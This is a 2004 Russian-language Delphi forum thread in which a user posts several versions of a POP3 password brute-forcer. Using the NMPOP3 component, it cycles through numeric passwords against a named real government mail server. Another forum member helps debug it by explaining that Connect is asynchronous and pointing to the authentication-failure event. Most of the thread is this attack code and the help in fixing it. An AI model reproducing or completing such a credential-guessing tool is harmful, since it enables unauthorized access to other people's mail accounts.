![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
Проблема с NMPOP3.Connected [D5, WinXP]
The X © (2004-10-07 10:59:00)Есть следующий фрагмент кода для подбора пассворда по NMPOP3.
Проблема в том, что когда подставляется верный пароль к серваку (я его знаю), то цикл процедуры не останавливается, т.е. не проходит проверка на Connected.
var i:integer;
label l;
begin
nmpop31.Host:='nec-fs2.energy.gov.ua';
nmpop31.UserID:=edit1.text;
i:=strtoint(edit3.text);
l:label1.caption:=inttostr(i);
if not nmpop31.Connected then
begin
nmpop31.Password:=inttostr(i);
try
nmpop31.Connect;
except
on esockerror do
messagebeep(0);
end;
if i<strtoint(edit2.text) then
begin
inc(i);
goto l;
end
else
Exit;
end
else
showmessage('!!!!!!!!!!!!'); //типа верный пароль получен
end;
The X (2004-10-07 15:28:00) [1]Вот самый последний исправленный вариант с дескриптором по Handled. При нем сразу же после OnAuthentificationFailed возвращается ошибка "10054 Connection reset by peer" и не проходит воторой цикл подсоединения с уже новым паролем с пом. Handled:=true.
procedure TForm1.Button1Click(Sender: TObject);
begin
NMPOP31.Host := 'nec-fs2.energy.gov.ua';
NMPOP31.UserID := Edit1.Text;
i := StrToInt(Edit3.Text);
Label1.Caption := IntToStr(i);
if not NMPOP31.Connected then
begin
NMPOP31.Password := IntToStr(i);
NMPOP31.Connect;
end;
end;
procedure TForm1.NMPOP31AuthenticationFailed(var Handled: Boolean);
begin
if i < StrToInt(Edit2.Text) then
begin
inc(i);
Label1.Caption := IntToStr(i);
NMPOP31.Password := IntToStr(i);
Handled := True;
end
else
Handled := False;
end;
The X (2004-10-07 15:15:00) [2]Текущий код
procedure TForm1.Button1Click(Sender: TObject);
begin
nmpop31.Host:='nec-fs2.energy.gov.ua';
nmpop31.UserID:=edit1.text;
i:=strtoint(edit3.text);
label1.caption:=inttostr(i);
if not nmpop31.Connected then
begin
nmpop31.Password:=inttostr(i);
nmpop31.Connect;
end;
end;
procedure TForm1.NMPOP31AuthenticationFailed(var Handled: Boolean);
begin
if i<strtoint(edit2.text) then
begin
inc(i);
Button1.Click;
end
else
Exit;
end;
ЗЫ. Параллельно разбираюсь со справкой.
Reindeer Moss Eater (2004-10-07 14:40:00) [3]Без кода трудно что либо сказать.
Но советую обратить внимание на параграф Description в справке по OnAuthentificationFailed.
The X (2004-10-07 14:34:00) [4]Reindeer Moss Eater
Прошу прощения, никак не могу догнать некоторых вещей.
Смотрите, указываю явно диапазон перебора, на кнопку вешаю передачу текущего пароля в компонент и вызываю коннект без никаких защищенных блоков. При этом в OnAuthentificationFailed указываю inc(i) (i - глобальная по всему модулю) и дальше вызываю опять Button.Click. Не получается - ошибки типа AccessViolation при попытке подключиться даже при первой попытке.
Что посоветуете?
The X (2004-10-07 14:12:00) [5]Reindeer Moss Eater
большое сенкс! 8-)
Reindeer Moss Eater (2004-10-07 14:11:00) [6]Установить таймер?
Может какой-нить рефреш есть?
может в виде паузы?
А может лучше на вкладку Events инспектора объектов заглянуть?
The X (2004-10-07 14:08:00) [7]может в виде паузы?
The X (2004-10-07 14:07:00) [8]Установить таймер?
The X (2004-10-07 14:07:00) [9]Может какой-нить рефреш есть?
Reindeer Moss Eater (2004-10-07 13:54:00) [10]Возврат из вызова Connect происходит до того, как будет установлено само соединение.
The X (2004-10-07 13:48:00) [11]Reindeer Moss Eater
Можно поподробнее?
Reindeer Moss Eater (2004-10-07 12:16:00) [12]Видимо потому что метод Connect - асинхронный